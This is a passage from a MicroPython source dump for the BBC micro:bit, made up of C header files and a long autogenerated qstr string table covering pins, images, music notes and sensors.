machine_mem8_obj; extern const machine_mem_obj_t machine_mem16_obj; extern const machine_mem_obj_t machine_mem32_obj; #if defined(MICROPY_MACHINE_MEM_GET_READ_ADDR) uintptr_t MICROPY_MACHINE_MEM_GET_READ_ADDR(mp_obj_t addr_o, uint align); #endif #if defined(MICROPY_MACHINE_MEM_GET_WRITE_ADDR) uintptr_t MICROPY_MACHINE_MEM_GET_WRITE_ADDR(mp_obj_t addr_o, uint align); #endif #endif // MICROPY_INCLUDED_EXTMOD_MACHINE_MEM_H ================================================ FILE: micropython/inc/extmod/machine_pulse.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_EXTMOD_MACHINE_PULSE_H #define MICROPY_INCLUDED_EXTMOD_MACHINE_PULSE_H #include "py/obj.h" #include "py/mphal.h" mp_uint_t machine_time_pulse_us(mp_hal_pin_obj_t pin, int pulse_level, mp_uint_t timeout_us); MP_DECLARE_CONST_FUN_OBJ_VAR_BETWEEN(machine_time_pulse_us_obj); #endif // MICROPY_INCLUDED_EXTMOD_MACHINE_PULSE_H ================================================ FILE: micropython/inc/extmod/utime_mphal.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013-2016 Damien P. George * Copyright (c) 2016 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_EXTMOD_UTIME_MPHAL_H #define MICROPY_INCLUDED_EXTMOD_UTIME_MPHAL_H #include "py/obj.h" MP_DECLARE_CONST_FUN_OBJ_1(mp_utime_sleep_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_utime_sleep_ms_obj); MP_DECLARE_CONST_FUN_OBJ_1(mp_utime_sleep_us_obj); MP_DECLARE_CONST_FUN_OBJ_0(mp_utime_ticks_ms_obj); MP_DECLARE_CONST_FUN_OBJ_0(mp_utime_ticks_us_obj); MP_DECLARE_CONST_FUN_OBJ_0(mp_utime_ticks_cpu_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_utime_ticks_diff_obj); MP_DECLARE_CONST_FUN_OBJ_2(mp_utime_ticks_add_obj); #endif // MICROPY_INCLUDED_EXTMOD_UTIME_MPHAL_H ================================================ FILE: micropython/inc/genhdr/mpversion.h ================================================ // This file was generated by py/makeversionhdr.py #define MICROPY_GIT_TAG "v1.9.2-34-gd64154c73" #define MICROPY_GIT_HASH "d64154c73" #define MICROPY_BUILD_DATE "2017-09-01" #define MICROPY_VERSION_MAJOR (1) #define MICROPY_VERSION_MINOR (9) #define MICROPY_VERSION_MICRO (2) #define MICROPY_VERSION_STRING "1.9.2" ================================================ FILE: micropython/inc/genhdr/qstrdefs.generated.h ================================================ // This file was automatically generated by makeqstrdata.py QDEF(MP_QSTR_NULL, (const byte*)"\x00\x00" "") QDEF(MP_QSTR_, (const byte*)"\x05\x00" "") QDEF(MP_QSTR__star_, (const byte*)"\x8f\x01" "*") QDEF(MP_QSTR__, (const byte*)"\xfa\x01" "_") QDEF(MP_QSTR__slash_, (const byte*)"\x8a\x01" "/") QDEF(MP_QSTR__percent__hash_o, (const byte*)"\x6c\x03" "%#o") QDEF(MP_QSTR__percent__hash_x, (const byte*)"\x7b\x03" "%#x") QDEF(MP_QSTR__brace_open__colon__hash_b_brace_close_, (const byte*)"\x58\x05" "{:#b}") QDEF(MP_QSTR__0x0a_, (const byte*)"\xaf\x01" "\x0a") QDEF(MP_QSTR_maximum_space_recursion_space_depth_space_exceeded, (const byte*)"\x73\x20" "maximum recursion depth exceeded") QDEF(MP_QSTR__lt_module_gt_, (const byte*)"\xbd\x08" "") QDEF(MP_QSTR__lt_lambda_gt_, (const byte*)"\x80\x08" "") QDEF(MP_QSTR__lt_listcomp_gt_, (const byte*)"\xd4\x0a" "") QDEF(MP_QSTR__lt_dictcomp_gt_, (const byte*)"\xcc\x0a" "") QDEF(MP_QSTR__lt_setcomp_gt_, (const byte*)"\x54\x09" "") QDEF(MP_QSTR__lt_genexpr_gt_, (const byte*)"\x34\x09" "") QDEF(MP_QSTR__lt_string_gt_, (const byte*)"\x52\x08" "") QDEF(MP_QSTR__lt_stdin_gt_, (const byte*)"\xe3\x07" "") QDEF(MP_QSTR_utf_hyphen_8, (const byte*)"\xb7\x05" "utf-8") QDEF(MP_QSTR_help, (const byte*)"\x94\x04" "help") QDEF(MP_QSTR_input, (const byte*)"\x73\x05" "input") QDEF(MP_QSTR_collections, (const byte*)"\xe0\x0b" "collections") QDEF(MP_QSTR_struct, (const byte*)"\x12\x06" "struct") QDEF(MP_QSTR_microbit, (const byte*)"\xc0\x08" "microbit") QDEF(MP_QSTR_reset, (const byte*)"\x10\x05" "reset") QDEF(MP_QSTR_sleep, (const byte*)"\xea\x05" "sleep") QDEF(MP_QSTR_running_time, (const byte*)"\xc8\x0c" "running_time") QDEF(MP_QSTR_panic, (const byte*)"\xd0\x05" "panic") QDEF(MP_QSTR_temperature, (const byte*)"\xe9\x0b" "temperature") QDEF(MP_QSTR_this, (const byte*)"\xa3\x04" "this") QDEF(MP_QSTR_authors, (const byte*)"\x63\x07" "authors") QDEF(MP_QSTR_antigravity, (const byte*)"\xf1\x0b" "antigravity") QDEF(MP_QSTR_love, (const byte*)"\x55\x04" "love") QDEF(MP_QSTR_badaboom, (const byte*)"\x2c\x08" "badaboom") QDEF(MP_QSTR_MicroBitDigitalPin, (const byte*)"\xcd\x12" "MicroBitDigitalPin") QDEF(MP_QSTR_MicroBitAnalogDigitalPin, (const byte*)"\x07\x18" "MicroBitAnalogDigitalPin") QDEF(MP_QSTR_MicroBitTouchPin, (const byte*)"\x52\x10" "MicroBitTouchPin") QDEF(MP_QSTR_read_digital, (const byte*)"\x92\x0c" "read_digital") QDEF(MP_QSTR_write_digital, (const byte*)"\xfd\x0d" "write_digital") QDEF(MP_QSTR_read_analog, (const byte*)"\x62\x0b" "read_analog") QDEF(MP_QSTR_write_analog, (const byte*)"\x2d\x0c" "write_analog") QDEF(MP_QSTR_set_analog_period, (const byte*)"\x08\x11" "set_analog_period") QDEF(MP_QSTR_set_analog_period_microseconds, (const byte*)"\xee\x1e" "set_analog_period_microseconds") QDEF(MP_QSTR_get_analog_period_microseconds, (const byte*)"\x7a\x1e" "get_analog_period_microseconds") QDEF(MP_QSTR_is_touched, (const byte*)"\x04\x0a" "is_touched") QDEF(MP_QSTR_unused, (const byte*)"\x79\x06" "unused") QDEF(MP_QSTR_audio_play, (const byte*)"\xc8\x0a" "audio_play") QDEF(MP_QSTR_button, (const byte*)"\xf3\x06" "button") QDEF(MP_QSTR_touch, (const byte*)"\x80\x05" "touch") QDEF(MP_QSTR_3v, (const byte*)"\x20\x02" "3v") QDEF(MP_QSTR_get_mode, (const byte*)"\xaf\x08" "get_mode") QDEF(MP_QSTR_MicroBitIO, (const byte*)"\xe6\x0a" "MicroBitIO") QDEF(MP_QSTR_pin0, (const byte*)"\x02\x04" "pin0") QDEF(MP_QSTR_pin1, (const byte*)"\x03\x04" "pin1") QDEF(MP_QSTR_pin2, (const byte*)"\x01\x04" "pin2") QDEF(MP_QSTR_pin3, (const byte*)"\x01\x04" "pin3") QDEF(MP_QSTR_pin4, (const byte*)"\x06\x04" "pin4") QDEF(MP_QSTR_pin5, (const byte*)"\x07\x04" "pin5") QDEF(MP_QSTR_pin6, (const byte*)"\x04\x04" "pin6") QDEF(MP_QSTR_pin7, (const byte*)"\x05\x04" "pin7") QDEF(MP_QSTR_pin8, (const byte*)"\x0a\x04" "pin8") QDEF(MP_QSTR_pin9, (const byte*)"\x0b\x04" "pin9") QDEF(MP_QSTR_pin10, (const byte*)"\x53\x05" "pin10") QDEF(MP_QSTR_pin11, (const byte*)"\x52\x05" "pin11") QDEF(MP_QSTR_pin12, (const byte*)"\x51\x05" "pin12") QDEF(MP_QSTR_pin13, (const byte*)"\x50\x05" "pin13") QDEF(MP_QSTR_pin14, (const byte*)"\x57\x05" "pin14") QDEF(MP_QSTR_pin15, (const byte*)"\x56\x05" "pin15") QDEF(MP_QSTR_pin16, (const byte*)"\x55\x05" "pin16") QDEF(MP_QSTR_pin19, (const byte*)"\x5a\x05" "pin19") QDEF(MP_QSTR_pin20, (const byte*)"\x30\x05" "pin20") QDEF(MP_QSTR_get_pull, (const byte*)"\x49\x08" "get_pull") QDEF(MP_QSTR_set_pull, (const byte*)"\xdd\x08" "set_pull") QDEF(MP_QSTR_PULL_UP, (const byte*)"\xba\x07" "PULL_UP") QDEF(MP_QSTR_PULL_DOWN, (const byte*)"\xad\x09" "PULL_DOWN") QDEF(MP_QSTR_NO_PULL, (const byte*)"\x1e\x07" "NO_PULL") QDEF(MP_QSTR_MicroBitImage, (const byte*)"\x87\x0d" "MicroBitImage") QDEF(MP_QSTR_Image, (const byte*)"\x62\x05" "Image") QDEF(MP_QSTR_image, (const byte*)"\x42\x05" "image") QDEF(MP_QSTR_width, (const byte*)"\x23\x05" "width") QDEF(MP_QSTR_height, (const byte*)"\xfa\x06" "height") QDEF(MP_QSTR_invert, (const byte*)"\xb7\x06" "invert") QDEF(MP_QSTR_fill, (const byte*)"\xca\x04" "fill") QDEF(MP_QSTR_set_pixel, (const byte*)"\xb0\x09" "set_pixel") QDEF(MP_QSTR_get_pixel, (const byte*)"\xa4\x09" "get_pixel") QDEF(MP_QSTR_shift_left, (const byte*)"\xa1\x0a" "shift_left") QDEF(MP_QSTR_shift_right, (const byte*)"\xba\x0b" "shift_right") QDEF(MP_QSTR_shift_up, (const byte*)"\xdf\x08" "shift_up") QDEF(MP_QSTR_shift_down, (const byte*)"\x48\x0a" "shift_down") QDEF(MP_QSTR_monospace, (const byte*)"\xe2\x09" "monospace") QDEF(MP_QSTR_blit, (const byte*)"\xf6\x04" "blit") QDEF(MP_QSTR_HEART, (const byte*)"\x0f\x05" "HEART") QDEF(MP_QSTR_HEART_SMALL, (const byte*)"\xcf\x0b" "HEART_SMALL") QDEF(MP_QSTR_HAPPY, (const byte*)"\x15\x05" "HAPPY") QDEF(MP_QSTR_SAD, (const byte*)"\x93\x03" "SAD") QDEF(MP_QSTR_SMILE, (const byte*)"\x9b\x05" "SMILE") QDEF(MP_QSTR_CONFUSED, (const byte*)"\xa6\x08" "CONFUSED") QDEF(MP_QSTR_ANGRY, (const byte*)"\x26\x05" "ANGRY") QDEF(MP_QSTR_ASLEEP, (const byte*)"\x0b\x06" "ASLEEP") QDEF(MP_QSTR_SURPRISED, (const byte*)"\x88\x09" "SURPRISED") QDEF(MP_QSTR_SILLY, (const byte*)"\xc6\x05" "SILLY") QDEF(MP_QSTR_FABULOUS, (const byte*)"\x30\x08" "FABULOUS") QDEF(MP_QSTR_MEH, (const byte*)"\x05\x03" "MEH") QDEF(MP_QSTR_YES, (const byte*)"\x0a\x03" "YES") QDEF(MP_QSTR_NO, (const byte*)"\x04\x02" "NO") QDEF(MP_QSTR_CLOCK12, (const byte*)"\x6e\x07" "CLOCK12") QDEF(MP_QSTR_CLOCK1, (const byte*)"\xdc\x06" "CLOCK1") QDEF(MP_QSTR_CLOCK2, (const byte*)"\xdf\x06" "CLOCK2") QDEF(MP_QSTR_CLOCK3, (const byte*)"\xde\x06" "CLOCK3") QDEF(MP_QSTR_CLOCK4, (const byte*)"\xd9\x06" "CLOCK4") QDEF(MP_QSTR_CLOCK5, (const byte*)"\xd8\x06" "CLOCK5") QDEF(MP_QSTR_CLOCK6, (const byte*)"\xdb\x06" "CLOCK6") QDEF(MP_QSTR_CLOCK7, (const byte*)"\xda\x06" "CLOCK7") QDEF(MP_QSTR_CLOCK8, (const byte*)"\xd5\x06" "CLOCK8") QDEF(MP_QSTR_CLOCK9, (const byte*)"\xd4\x06" "CLOCK9") QDEF(MP_QSTR_CLOCK10, (const byte*)"\x6c\x07" "CLOCK10") QDEF(MP_QSTR_CLOCK11, (const byte*)"\x6d\x07" "CLOCK11") QDEF(MP_QSTR_ARROW_N, (const byte*)"\xed\x07" "ARROW_N") QDEF(MP_QSTR_ARROW_NE, (const byte*)"\xc8\x08" "ARROW_NE") QDEF(MP_QSTR_ARROW_E, (const byte*)"\xe6\x07" "ARROW_E") QDEF(MP_QSTR_ARROW_SE, (const byte*)"\xb5\x08" "ARROW_SE") QDEF(MP_QSTR_ARROW_S, (const byte*)"\xf0\x07" "ARROW_S") QDEF(MP_QSTR_ARROW_SW, (const byte*)"\xa7\x08" "ARROW_SW") QDEF(MP_QSTR_ARROW_W, (const byte*)"\xf4\x07" "ARROW_W") QDEF(MP_QSTR_ARROW_NW, (const byte*)"\xda\x08" "ARROW_NW") QDEF(MP_QSTR_TRIANGLE, (const byte*)"\xeb\x08" "TRIANGLE") QDEF(MP_QSTR_TRIANGLE_LEFT, (const byte*)"\x8f\x0d" "TRIANGLE_LEFT") QDEF(MP_QSTR_CHESSBOARD, (const byte*)"\x51\x0a" "CHESSBOARD") QDEF(MP_QSTR_DIAMOND, (const byte*)"\xa1\x07" "DIAMOND") QDEF(MP_QSTR_DIAMOND_SMALL, (const byte*)"\x61\x0d" "DIAMOND_SMALL") QDEF(MP_QSTR_SQUARE, (const byte*)"\x84\x06" "SQUARE") QDEF(MP_QSTR_SQUARE_SMALL, (const byte*)"\x84\x0c" "SQUARE_SMALL") QDEF(MP_QSTR_RABBIT, (const byte*)"\xeb\x06" "RABBIT") QDEF(MP_QSTR_COW, (const byte*)"\x5e\x03" "COW") QDEF(MP_QSTR_MUSIC_CROTCHET, (const byte*)"\xab\x0e" "MUSIC_CROTCHET") QDEF(MP_QSTR_MUSIC_QUAVER, (const byte*)"\x5f\x0c" "MUSIC_QUAVER") QDEF(MP_QSTR_MUSIC_QUAVERS, (const byte*)"\x6c\x0d" "MUSIC_QUAVERS") QDEF(MP_QSTR_PITCHFORK, (const byte*)"\x33\x09" "PITCHFORK") QDEF(MP_QSTR_XMAS, (const byte*)"\xe2\x04" "XMAS") QDEF(MP_QSTR_PACMAN, (const byte*)"\x55\x06" "PACMAN") QDEF(MP_QSTR_TARGET, (const byte*)"\xb4\x06" "TARGET") QDEF(MP_QSTR_TSHIRT, (const byte*)"\x45\x06" "TSHIRT") QDEF(MP_QSTR_ROLLERSKATE, (const byte*)"\x27\x0b" "ROLLERSKATE") QDEF(MP_QSTR_DUCK, (const byte*)"\x3c\x04" "DUCK") QDEF(MP_QSTR_HOUSE, (const byte*)"\xa1\x05" "HOUSE") QDEF(MP_QSTR_TORTOISE, (const byte*)"\xc8\x08" "TORTOISE") QDEF(MP_QSTR_BUTTERFLY, (const byte*)"\x56\x09" "BUTTERFLY") QDEF(MP_QSTR_STICKFIGURE, (const byte*)"\xe9\x0b" "STICKFIGURE") QDEF(MP_QSTR_GHOST, (const byte*)"\xc2\x05" "GHOST") QDEF(MP_QSTR_SWORD, (const byte*)"\x98\x05" "SWORD") QDEF(MP_QSTR_GIRAFFE, (const byte*)"\x7d\x07" "GIRAFFE") QDEF(MP_QSTR_SKULL, (const byte*)"\x48\x05" "SKULL") QDEF(MP_QSTR_UMBRELLA, (const byte*)"\xc9\x08" "UMBRELLA") QDEF(MP_QSTR_SNAKE, (const byte*)"\x97\x05" "SNAKE") QDEF(MP_QSTR_ALL_ARROWS, (const byte*)"\xf1\x0a" "ALL_ARROWS") QDEF(MP_QSTR_ALL_CLOCKS, (const byte*)"\xc0\x0a" "ALL_CLOCKS") QDEF(MP_QSTR_MicroBitDisplay, (const byte*)"\x5a\x0f" "MicroBitDisplay") QDEF(MP_QSTR_set_brightness, (const byte*)"\x91\x0e" "set_brightness") QDEF(MP_QSTR_set_display_mode, (const byte*)"\x9e\x10" "set_display_mode") QDEF(MP_QSTR_display, (const byte*)"\x1f\x07" "display") QDEF(MP_QSTR_show, (const byte*)"\x86\x04" "show") QDEF(MP_QSTR_scroll, (const byte*)"\x28\x06" "scroll") QDEF(MP_QSTR_delay, (const byte*)"\x50\x05" "delay") QDEF(MP_QSTR_stride, (const byte*)"\xb8\x06" "stride") QDEF(MP_QSTR_start, (const byte*)"\x85\x05" "start") QDEF(MP_QSTR_wait, (const byte*)"\x8e\x04" "wait") QDEF(MP_QSTR_loop, (const byte*)"\x39\x04" "loop") QDEF(MP_QSTR_copy, (const byte*)"\xe0\x04" "copy") QDEF(MP_QSTR_crop, (const byte*)"\x0b\x04" "crop") QDEF(MP_QSTR_slice, (const byte*)"\xb5\x05" "slice") QDEF(MP_QSTR_text, (const byte*)"\x98\x04" "text") QDEF(MP_QSTR_SlicedImage, (const byte*)"\xf6\x0b" "SlicedImage") QDEF(MP_QSTR_ScrollingString, (const byte*)"\xbd\x0f" "ScrollingString") QDEF(MP_QSTR_on, (const byte*)"\x64\x02" "on") QDEF(MP_QSTR_off, (const byte*)"\x8a\x03" "off") QDEF(MP_QSTR_is_on, (const byte*)"\x61\x05" "is_on") QDEF(MP_QSTR_Facade, (const byte*)"\xc1\x06" "Facade") QDEF(MP_QSTR_MicroBitButton, (const byte*)"\x16\x0e" "MicroBitButton") QDEF(MP_QSTR_button_a, (const byte*)"\xed\x08" "button_a") QDEF(MP_QSTR_button_b, (const byte*)"\xee\x08" "button_b") QDEF(MP_QSTR_is_pressed, (const byte*)"\xe6\x0a" "is_pressed") QDEF(MP_QSTR_was_pressed, (const byte*)"\xf9\x0b" "was_pressed") QDEF(MP_QSTR_get_presses, (const byte*)"\xfd\x0b" "get_presses") QDEF(MP_QSTR_MicroBitAccelerometer, (const byte*)"\x5b\x15" "MicroBitAccelerometer") QDEF(MP_QSTR_accelerometer, (const byte*)"\x1e\x0d" "accelerometer") QDEF(MP_QSTR_get_x, (const byte*)"\x34\x05" "get_x") QDEF(MP_QSTR_get_y, (const byte*)"\x35\x05" "get_y") QDEF(MP_QSTR_get_z, (const byte*)"\x36\x05" "get_z") QDEF(MP_QSTR_get_values, (const byte*)"\xf4\x0a" "get_values") QDEF(MP_QSTR_current_gesture, (const byte*)"\xd4\x0f" "current_gesture") QDEF(MP_QSTR_is_gesture, (const byte*)"\x07\x0a" "is_gesture") QDEF(MP_QSTR_was_gesture, (const byte*)"\xd8\x0b" "was_gesture") QDEF(MP_QSTR_get_gestures, (const byte*)"\x18\x0c" "get_gestures") QDEF(MP_QSTR_up, (const byte*)"\xa0\x02" "up") QDEF(MP_QSTR_down, (const byte*)"\x37\x04" "down") QDEF(MP_QSTR_left, (const byte*)"\xde\x04" "left") QDEF(MP_QSTR_right, (const byte*)"\xe5\x05" "right") QDEF(MP_QSTR_face_space_up, (const byte*)"\x21\x07" "face up") QDEF(MP_QSTR_face_space_down, (const byte*)"\x36\x09" "face down") QDEF(MP_QSTR_freefall, (const byte*)"\xb6\x08" "freefall") QDEF(MP_QSTR_3g, (const byte*)"\x31\x02" "3g") QDEF(MP_QSTR_6g, (const byte*)"\x94\x02" "6g") QDEF(MP_QSTR_8g, (const byte*)"\x5a\x02" "8g") QDEF(MP_QSTR_shake, (const byte*)"\x31\x05" "shake") QDEF(MP_QSTR_MicroBitCompass, (const byte*)"\x10\x0f" "MicroBitCompass") QDEF(MP_QSTR_compass, (const byte*)"\x55\x07" "compass") QDEF(MP_QSTR_heading, (const byte*)"\x2d\x07" "heading") QDEF(MP_QSTR_is_calibrated, (const byte*)"\x23\x0d" "is_calibrated") QDEF(MP_QSTR_calibrate, (const byte*)"\x02\x09" "calibrate") QDEF(MP_QSTR_clear_calibration, (const byte*)"\x49\x11" "clear_calibration") QDEF(MP_QSTR_get_field_strength, (const byte*)"\xf4\x12" "get_field_strength") QDEF(MP_QSTR_MicroBitI2C, (const byte*)"\xb8\x0b" "MicroBitI2C") QDEF(MP_QSTR_i2c, (const byte*)"\x5d\x03" "i2c") QDEF(MP_QSTR_read, (const byte*)"\xb7\x04" "read") QDEF(MP_QSTR_write, (const byte*)"\x98\x05" "write") QDEF(MP_QSTR_addr, (const byte*)"\xb6\x04" "addr") QDEF(MP_QSTR_n, (const byte*)"\xcb\x01" "n") QDEF(MP_QSTR_buf, (const byte*)"\x74\x03" "buf") QDEF(MP_QSTR_repeat, (const byte*)"\xf2\x06" "repeat") QDEF(MP_QSTR_freq, (const byte*)"\xe5\x04" "freq") QDEF(MP_QSTR_sda, (const byte*)"\x53\x03" "sda") QDEF(MP_QSTR_scl, (const byte*)"\xf9\x03" "scl") QDEF(MP_QSTR_music, (const byte*)"\x04\x05" "music") QDEF(MP_QSTR_frequency, (const byte*)"\xa1\x09" "frequency") QDEF(MP_QSTR_duration, (const byte*)"\x7b\x08" "duration") QDEF(MP_QSTR_pitch, (const byte*)"\x83\x05" "pitch") QDEF(MP_QSTR_pin, (const byte*)"\xf2\x03" "pin") QDEF(MP_QSTR_play, (const byte*)"\x21\x04" "play") QDEF(MP_QSTR_set_tempo, (const byte*)"\x9b\x09" "set_tempo") QDEF(MP_QSTR_get_tempo, (const byte*)"\x8f\x09" "get_tempo") QDEF(MP_QSTR_bpm, (const byte*)"\xda\x03" "bpm") QDEF(MP_QSTR_ticks, (const byte*)"\x43\x05" "ticks") QDEF(MP_QSTR_BADDY, (const byte*)"\x9f\x05" "BADDY") QDEF(MP_QSTR_BA_DING, (const byte*)"\x9d\x07" "BA_DING") QDEF(MP_QSTR_BIRTHDAY, (const byte*)"\xfc\x08" "BIRTHDAY") QDEF(MP_QSTR_BLUES, (const byte*)"\xc8\x05" "BLUES") QDEF(MP_QSTR_CHASE, (const byte*)"\x59\x05" "CHASE") QDEF(MP_QSTR_DADADADUM, (const byte*)"\xfc\x09" "DADADADUM") QDEF(MP_QSTR_ENTERTAINER, (const byte*)"\x48\x0b" "ENTERTAINER") QDEF(MP_QSTR_FUNERAL, (const byte*)"\x42\x07" "FUNERAL") QDEF(MP_QSTR_FUNK, (const byte*)"\xd3\x04" "FUNK") QDEF(MP_QSTR_JUMP_DOWN, (const byte*)"\xaa\x09" "JUMP_DOWN") QDEF(MP_QSTR_JUMP_UP, (const byte*)"\xfd\x07" "JUMP_UP") QDEF(MP_QSTR_NYAN, (const byte*)"\x3d\x04" "NYAN") QDEF(MP_QSTR_ODE, (const byte*)"\x6b\x03" "ODE") QDEF(MP_QSTR_POWER_DOWN, (const byte*)"\x97\x0a" "POWER_DOWN") QDEF(MP_QSTR_POWER_UP, (const byte*)"\x01\x08" "POWER_UP") QDEF(MP_QSTR_PRELUDE, (const byte*)"\x3a\x07" "PRELUDE") QDEF(MP_QSTR_PUNCHLINE, (const byte*)"\xeb\x09" "PUNCHLINE") QDEF(MP_QSTR_PYTHON, (const byte*)"\xb1\x06" "PYTHON") QDEF(MP_QSTR_RINGTONE, (const byte*)"\xc7\x08" "RINGTONE") QDEF(MP_QSTR_WAWAWAWAA, (const byte*)"\x64\x09" "WAWAWAWAA") QDEF(MP_QSTR_WEDDING, (const byte*)"\x17\x07" "WEDDING") QDEF(MP_QSTR_a, (const byte*)"\xc4\x01" "a") QDEF(MP_QSTR_a_hash_, (const byte*)"\x67\x02" "a#") QDEF(MP_QSTR_a_hash__colon_1, (const byte*)"\x2c\x04" "a#:1") QDEF(MP_QSTR_a_hash__colon_3, (const byte*)"\x2e\x04" "a#:3") QDEF(MP_QSTR_a2, (const byte*)"\x76\x02" "a2") QDEF(MP_QSTR_a4, (const byte*)"\x70\x02" "a4") QDEF(MP_QSTR_a4_colon_1, (const byte*)"\xbb\x04" "a4:1") QDEF(MP_QSTR_a4_colon_3, (const byte*)"\xb9\x04" "a4:3") QDEF(MP_QSTR_a_colon_1, (const byte*)"\x0f\x03" "a:1") QDEF(MP_QSTR_a_colon_2, (const byte*)"\x0c\x03" "a:2") QDEF(MP_QSTR_a_colon_4, (const byte*)"\x0a\x03" "a:4") QDEF(MP_QSTR_a_colon_5, (const byte*)"\x0b\x03" "a:5") QDEF(MP_QSTR_b, (const byte*)"\xc7\x01" "b") QDEF(MP_QSTR_b2_colon_1, (const byte*)"\xde\x04" "b2:1") QDEF(MP_QSTR_b3, (const byte*)"\x94\x02" "b3") QDEF(MP_QSTR_b4, (const byte*)"\x93\x02" "b4") QDEF(MP_QSTR_b4_colon_1, (const byte*)"\xd8\x04" "b4:1") QDEF(MP_QSTR_b4_colon_2, (const byte*)"\xdb\x04" "b4:2") QDEF(MP_QSTR_b5, (const byte*)"\x92\x02" "b5") QDEF(MP_QSTR_b5_colon_1, (const byte*)"\xd9\x04" "b5:1") QDEF(MP_QSTR_b_colon_1, (const byte*)"\x0c\x03" "b:1") QDEF(MP_QSTR_b_colon_2, (const byte*)"\x0f\x03" "b:2") QDEF(MP_QSTR_c, (const byte*)"\xc6\x01" "c") QDEF(MP_QSTR_c_hash_, (const byte*)"\xa5\x02" "c#") QDEF(MP_QSTR_c_hash_5, (const byte*)"\x70\x03" "c#5") QDEF(MP_QSTR_c_hash_5_colon_1, (const byte*)"\xbb\x05" "c#5:1") QDEF(MP_QSTR_c_hash_5_colon_2, (const byte*)"\xb8\x05" "c#5:2") QDEF(MP_QSTR_c_hash__colon_1, (const byte*)"\x6e\x04" "c#:1") QDEF(MP_QSTR_c_hash__colon_8, (const byte*)"\x67\x04" "c#:8") QDEF(MP_QSTR_c2_colon_2, (const byte*)"\xfc\x04" "c2:2") QDEF(MP_QSTR_c3, (const byte*)"\xb5\x02" "c3") QDEF(MP_QSTR_c3_colon_3, (const byte*)"\x7c\x04" "c3:3") QDEF(MP_QSTR_c3_colon_4, (const byte*)"\x7b\x04" "c3:4") QDEF(MP_QSTR_c4, (const byte*)"\xb2\x02" "c4") QDEF(MP_QSTR_c4_colon_1, (const byte*)"\xf9\x04" "c4:1") QDEF(MP_QSTR_c4_colon_3, (const byte*)"\xfb\x04" "c4:3") QDEF(MP_QSTR_c4_colon_4, (const byte*)"\xfc\x04" "c4:4") QDEF(MP_QSTR_c5, (const byte*)"\xb3\x02" "c5") QDEF(MP_QSTR_c5_colon_1, (const byte*)"\x78\x04" "c5:1") QDEF(MP_QSTR_c5_colon_2, (const byte*)"\x7b\x04" "c5:2") QDEF(MP_QSTR_c5_colon_3, (const byte*)"\x7a\x04" "c5:3") QDEF(MP_QSTR_c5_colon_4, (const byte*)"\x7d\x04" "c5:4") QDEF(MP_QSTR_c_colon_1, (const byte*)"\x0d\x03" "c:1") QDEF(MP_QSTR_c_colon_2, (const byte*)"\x0e\x03" "c:2") QDEF(MP_QSTR_c_colon_3, (const byte*)"\x0f\x03" "c:3") QDEF(MP_QSTR_c_colon_4, (const byte*)"\x08\x03" "c:4") QDEF(MP_QSTR_c_colon_8, (const byte*)"\x04\x03" "c:8") QDEF(MP_QSTR_d, (const byte*)"\xc1\x01" "d") QDEF(MP_QSTR_d_hash_, (const byte*)"\xc2\x02" "d#") QDEF(MP_QSTR_d_hash_5_colon_2, (const byte*)"\xff\x05" "d#5:2") QDEF(MP_QSTR_d_hash__colon_2, (const byte*)"\x0a\x04" "d#:2") QDEF(MP_QSTR_d_hash__colon_3, (const byte*)"\x0b\x04" "d#:3") QDEF(MP_QSTR_d3, (const byte*)"\xd2\x02" "d3") QDEF(MP_QSTR_d4, (const byte*)"\xd5\x02" "d4") QDEF(MP_QSTR_d4_colon_1, (const byte*)"\x1e\x04" "d4:1") QDEF(MP_QSTR_d5, (const byte*)"\xd4\x02" "d5") QDEF(MP_QSTR_d5_colon_1, (const byte*)"\x1f\x04" "d5:1") QDEF(MP_QSTR_d5_colon_2, (const byte*)"\x1c\x04" "d5:2") QDEF(MP_QSTR_d_colon_1, (const byte*)"\x0a\x03" "d:1") QDEF(MP_QSTR_d_colon_2, (const byte*)"\x09\x03" "d:2") QDEF(MP_QSTR_d_colon_3, (const byte*)"\x08\x03" "d:3") QDEF(MP_QSTR_d_colon_4, (const byte*)"\x0f\x03" "d:4") QDEF(MP_QSTR_d_colon_5, (const byte*)"\x0e\x03" "d:5") QDEF(MP_QSTR_d_colon_6, (const byte*)"\x0d\x03" "d:6") QDEF(MP_QSTR_d_colon_8, (const 